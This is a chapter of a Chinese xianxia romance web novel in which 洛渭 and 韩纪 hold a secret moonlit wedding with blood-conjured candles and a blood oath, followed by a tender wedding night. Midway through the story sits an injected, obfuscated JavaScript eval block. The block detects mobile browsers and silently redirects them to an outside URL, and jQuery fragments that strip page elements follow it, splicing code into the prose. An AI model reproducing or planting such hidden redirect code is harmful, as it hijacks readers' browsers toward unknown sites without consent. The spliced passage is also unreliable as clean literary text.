155. 结为夫妻

作品:《宗主深谙训狗之道

    韩纪喘不过气来了。


    他终于松开她的唇瓣,挑开她耳畔的绿色流苏,轻轻亲吻她的耳垂。


    这对于韩纪来说,是太过不可思议的事情,她从不知晓,也从未想过,人的耳垂居然是用来亲吻的。


    她在刹那之间体会了耳鬓厮磨这个词的亲昵程度。


    他仿佛在亲吻她裸露的心脏,她的身体因此剧烈地颤抖。


    敲门声再次响起。


    喜冰轻声问道:“姐姐,今夜我可不可以和你一起睡?”


    洛渭抚摸她身体的动作微微一顿,嘴上力道重了一些,在她耳侧轻声道:“姐姐,我们成婚好不好?”


    “好不好?”


    “给我一个孩子好不好?”


    韩纪无法控制自己了,颤抖着眨了眨眼睛。


    得了她的许可,他一直揉捏她腰身的手,缓缓上移到胸前,轻轻扯落她的衣裳。另一只一直插在她发间的手缓缓下移,搭在她手腕上,试图帮她解去腕上的臂鞲。


    手腕传来刺痛,那是她为他割腕放血的伤口,如今还没有好全。若是他解下臂鞲,必定要看见那伤口,以他那聪明的脑袋,恐怕一眼就能猜出其中缘由。


    她肩膀上,他发狂时撕咬留下的伤口亦未痊愈。


    他一定会自责,会懊恼,会因此更加爱她,可她不愿意。


    他给的爱已经足够了,再多她无法回应,便只能徒增他的伤心。


    她从欲望的海洋之中挣脱出来,抓住了他的的手,重重地吐了一口气,平静了自己的心神。


    洛渭所有的动作都在望见韩纪那双明亮的眼睛时止住。


    门外,喜冰正在轻声解释:“我家小姐近日被那个小少爷折腾得睡不好觉,我现下进去,只怕会将她吵醒,如果姐姐不习惯的话,我打地铺也是可以的。”


    门被唰的一声拉开,一道高大的身影盖在喜冰身上。


    “姐姐,那就多谢你了,我就知道你人最好了。”喜冰惊喜地抬起头来,嘴上还在说着好听的漂亮话,脸上的笑容却已经凝固了,“你……你……我……姐……”


    在她脸色彻底变黑,张嘴大叫之前,洛渭倚着门框,面色不善地说道:“我是魏九,没眼色的鬼丫头。”


    魏九从前都戴着面具,喜冰从未见过他的脸。因此,得了他的答复,喜冰仍是怀疑地后退了一步,狐疑地打量着他。


    烛火摇曳不定,忽明忽暗的光照在他身,将他原本就出色的容貌勾勒得更加深邃立体,宛如传言中吸人精气,吃人魂魄的狐狸精。


    喜冰指着洛渭的脸,颤声道:“你……你别骗人……魏大哥戴着面具……没有你长得这样好看……你是狐狸精变的吧!你是不是来勾引楚姐姐,吃她心肝精魄的!我警告你,你快走!不然我要叫人了!”


    洛渭面若寒冰,冷冷看着她:“桐花镇,三湘山,我御剑送你和你的小姐来顾家庄,你说晕剑,差点吐在我剑上,还要我继续说么?”


    喜冰摇头又点头,连忙道:“够了够了,我相信你是魏大哥了。”


    洛渭伸手要关上房门,又被喜冰拦住。


    他斜睨她一眼:“还有事?”


    她咽了咽口水,一边打量洛渭的脸色,一边小声解释道:“我知道……仙门弟子不大讲究男女大防……但是天气冷了……房间只有一床被褥……要不要我……再抱一床被子过来给你打地铺用?”


    洛渭道:“用不着,我们盖一床。”


    喜冰语声立时顿住,长长吸了口气,道:“你……你们……盖一床……那岂不是要……”


    洛渭瞧着她骤然变化的表情,心中畅快了许多,嘴角也带上一丝得意的笑容,一字一字道:“对的,就是你想的那样。”


    喜冰瞪大了眼睛,张大了嘴巴,然后砰的一响,被洛渭毫不留情地关在门外。


    “小姐小姐有大事有天大的事!”


    “喜冰,大晚上的,你不睡觉你吵什么?”


    “我和你说那个……那个魏大哥他……他和楚姐姐……他们两个……”


    韩纪系好衣裳,坐在床头,偏耳细听着喜冰的声音。


    小丫头片子压低声音说了许多,期间甚至拿起东西,比比划划模仿洛渭开门时的动作,所说内容可用一句话概括。


    “这不是白菜被一头漂亮的猪拱了么?再漂亮那也是猪啊。”


    “喜冰,你不要这么说魏大哥。”


    “我比喻,姐姐。魏大哥整天阴晴不定的,从前戴着面具的时候一句话不说,阴沉沉的像乌云一样,现下摘了面具黑着张脸,看上去就不是什么会对妻子好的男人。我还听崔姐姐说,说她和魏大哥第一次见面,魏大哥就把楚姐姐绑在椅子上,还给楚姐姐鼻子打出血了,现下楚姐姐嫁给他,肯定没有好日子过了,难道说好人真的没有好报么?”


    “喜冰……感情的事情如人饮水冷暖自知,说不准楚姐姐喜欢呢?”


    “小姐,楚姐姐有病么?”


    韩纪听到此处,忍俊不禁,正欲说给洛渭听,一抬眼却发现洛渭靠着窗前木桌站着,此刻正阴沉着脸,瞬也不瞬地瞧着她。


    韩纪蹙眉问:“你怎么了?”


    洛渭移开目光,撇了撇嘴,道:“我早就说了,这个喜冰看你的眼神有问题。若是我不来,今天晚上她还要和你一起睡。”语气间颇有些委屈的意味。


    韩纪早在小泉镇便知道他爱吃醋,但凡经过她身边的人,不管男女老幼,通通被他视为对她心怀不轨的恶贼。当时见他如此,还觉得他有些不可理喻,可如今再瞧他,却是可爱得紧。


    是她做得不够好,是她对他不够好,他才会这样如惊弓之鸟,草木皆兵。


    韩纪摇头一笑,朝他招了招手,柔声道:“阿随,你过来。”


    洛渭见她朝自己笑了,便也顾不得心中那点郁闷的情绪,在她膝前下蹲,仰头凝视着她。


    “阿念……”


    尚未等他开口问询,韩纪便捧起他的脸,如捧起一个珍宝一般,在他额间留下轻轻一吻。


    接着,抵着他鼻尖轻声说道:“阿随,当世之人中,我最爱你。”


    她居然说……说他是她的最爱?


    你敢信么?她说,他是她的最爱。


    最爱。


    洛渭眼眸一亮,心中不断琢磨着这两个字,已至狂喜的地步。


    他这一生,从未想过会听到她对他说出这两个字。


    他几时听过这样动听的话?今夜之前,他从不认为他是她的最爱。


    他是猫,是狗,是她随手捡起的落花,决计不会是她的爱人,但这并非是她的错。这是他的错,是他利用着完美面皮的伪装,刻意扮作会让她心软的模样,引得她停住脚步。


    可她如今亲口告诉他,他是她的最爱。


    洛渭抿了抿唇,压下眼眸中的狂喜之色,轻声恳求道:“再说一次,好不好?”


    “再说一次,说给我听。”


    韩纪垂下眼帘,轻轻吻了吻他鼻尖,重复道:“当世之人中,我最爱你。”


    他几乎要疯了,他已经疯了。


    他紧紧地拥着她,双臂缠绕着她的腰腹,头颅紧贴着她的脖颈,如病人默念着救命的药房一般急声重复道:“我们成婚吧。”


    “成婚。”


    “马上。”


    “马上就成婚。”


    “只要我们两个人。”


    他抱得太紧,韩纪有些喘不过气来,勉强用力挣开他,蹙眉道:“现下,此刻?如何成婚?”


    她没有拒绝。


    洛渭当即弯腰拾起韩纪掉落在地的鞋子,低头替她穿上,牵起她的手,拉着她奔着屋外。


    雪已经停了。


    月亮挂在浩瀚无边的苍穹之上,月光洒落连绵不绝的山林,也照亮脚下的小院,照在二人身上。


    红纸如落花铺满了地面,红绸是月下纠缠的红线。


    紧紧牵着自己手掌的手紧了一紧,韩纪将目光自眼前这美得不可言状的一幕移开,轻轻落在洛渭的脸上。


    洛渭双眸凝注着她,似乎在思索些什么,下一刻忽然松开了紧握她手掌的手。


    在韩纪诧异的目光之中,他并指为刀,割破了自己的手掌。


    韩纪急忙抓住他受伤的手,慌乱道:“你做什么?!疼不疼!”


    洛渭轻轻一笑,道:“你看。”


    他掌心伤口蜿蜒流出的血液眨眼之间在空中聚成了两根红烛,随着他的眸光起落,那两只血作的红烛竟真的开始燃烧。


    淡淡的异香自红烛之中传出,随着风声在夜色中弥散,幻化成一群上下翻飞的血色蝴蝶。


    蝴蝶飞过院内悬挂的红灯笼,已熄灭的红灯笼一盏一盏重新亮起,灯光霎时间胜过皎洁月光,将二人的脸庞,二人的衣裳都染成了红色。


    燃灯化喜服,引血作红烛。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873859|177381||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>这实在太出乎韩纪意外,她从未见过,也从未想过,有朝一日,会见如此情形。在遇见洛渭之前,她一生所见之妖血,皆是因她而流,却没有一滴为她而流。而今,他割开手掌,为她添上一对红烛。


    她惊得立在原地,心中泛起一股说不清道不明的苦涩滋味,余光瞥见他染血的手掌,只觉心如刀割。


    洛渭再次握住她的手,嘴唇轻轻颤抖着,缓缓道:“你瞧,红烛之光,灼灼不灭,你我二人,身着喜服,血蝶为亲朋,红纸为宾客,天上圆月,便是见证。此时此刻,不就是你我二人的婚礼么?你……你愿意与我结成夫妇么?”


    韩纪垂目瞧着他手上伤口,泪珠自眼眶之中无声滚落,心中早已想不出拒绝他的话。她抬起眼,迎着他的目光,缓缓点了点头。


    二人手牵着手跪下,在这世上最普通不过的一天,在这世上再平凡不过的一个破旧小院,一齐向天上亘古不变的月轮拜倒。


    韩纪双眼紧闭,虔诚祝祷道:“月神在上,我韩纪与洛渭两情相悦,两心相知,愿在此结为夫妇,相伴一生,不离不弃。”


    洛渭亦低声道:“月神在上,我洛渭愿与韩纪结为夫妇。今日在此,以血为誓,愿生生世世,永不分离。如违此誓,必天劫加覆,万雷焚身,魂飞魄散,不得好死。”


    韩纪听了这话,倏地睁开双眼,偏头看去,只见洛渭双眼直视着天上圆月,目光如炬,神情坚定,面容诚恳,而他手边,血誓已成。


    她向来知道他有多爱她,可如今忽然发现自己还是低估了他对自己的爱。其实时过境迁,色衰爱弛是再常见不过的事情,又如何值得他为此立下重誓,牺牲性命?


    韩纪赶忙面向月轮,在心里暗暗祝祷:“两心相悦,结为夫妇,若是有朝一日,两心不同,便各自分离,绝不生怨,也请上苍垂怜,莫要伤他性命。”


    她正想着,忽觉面前月光一暗,睁开眼便瞧见洛渭带笑的脸。


    尚未回过神来,洛渭忽的伸手揽过她双膝,一把将她打横抱起。


    骤然失重,韩纪忍不住惊呼一声,洛渭听见她的声音,笑意更甚,转身将她抱入屋中,轻轻放在床上,又低头替她褪去鞋袜,弯腰拾起卷落在地的被褥,盖在她身上,随后俯身自她唇间探来。


    韩纪望着他渐渐逼近的俊脸,心中不知有多么后悔。


    既然结为夫妇,便要洞房花烛,可如今她身上伤势未愈,自然不能让他瞧见。她惊慌之下,闭紧眼睛,颤声道:“我今天身体不适,不能——”


    冰凉的唇瓣轻轻落在她眉间,如同一片冰冷的雪。


    呼吸洒落,他柔声问道:“哪里不适?”


    眼睫颤动,韩纪睁开双眼,洛渭已坐在床畔,正出神地凝视着她,目光之中关心无限。


    韩纪拉紧身上被褥,深呼一口气,平定了心神,方才缓缓道:“就是有点不舒服,但也不是很严重,反正不能……不能行周公之礼……”


    她话声越来越弱,洛渭的目光却越来越迷茫。


    他轻声追问道:“究竟是哪里不舒服?”


    韩纪眉头蹙起,却也不知该如何解释,正在她苦想说辞之时,洛渭掀开被子,和她并肩卧倒,她的身子立时僵住。


    不算宽敞的小床瞬间变得十分拥挤,二人脚贴着脚,手牵着手,肩抵着肩,头靠着头,才勉勉强强没人摔下床去。


    他温热的呼吸,如沸水的蒸汽,缓缓浸透了她的耳垂。


    他牵着她的手,缓缓揽上她的肩,将她紧紧拥在怀里,轻声喟叹道:“这样已经很好了。”


    韩纪偏头瞧他,便见昏暗的室内,他黑亮的眼眸闪烁如星,正满含柔情的凝视着自己。即使是一片昏暗之中,他脸上的笑意也是那样明显。


    她的手指缓缓触上他的脸庞,轻轻抚过他眉眼之间。韩纪心头一动,喃喃道:“好像做梦一样,我都不像我了。”


    洛渭握住她的手指,垂下眼帘,轻轻一吻,柔声道:“今天是我这辈子最开心的一天,如果真的是梦的话,我希望就此陷在这场梦里,永远不要醒来。”


    他缓缓闭上了眼睛,细密如鸦羽的眼睫在白皙如玉的脸庞上投下两个扇形的阴影。随着他的沉睡,屋外红烛的光慢慢暗了下去,摇曳的红灯笼也一盏盏熄灭。


    满地红纸被细雪覆盖,檐下牵挂的红绸被狂风一根根吹断。


    只有月亮,透过层层密布的乌云,依旧放出清辉。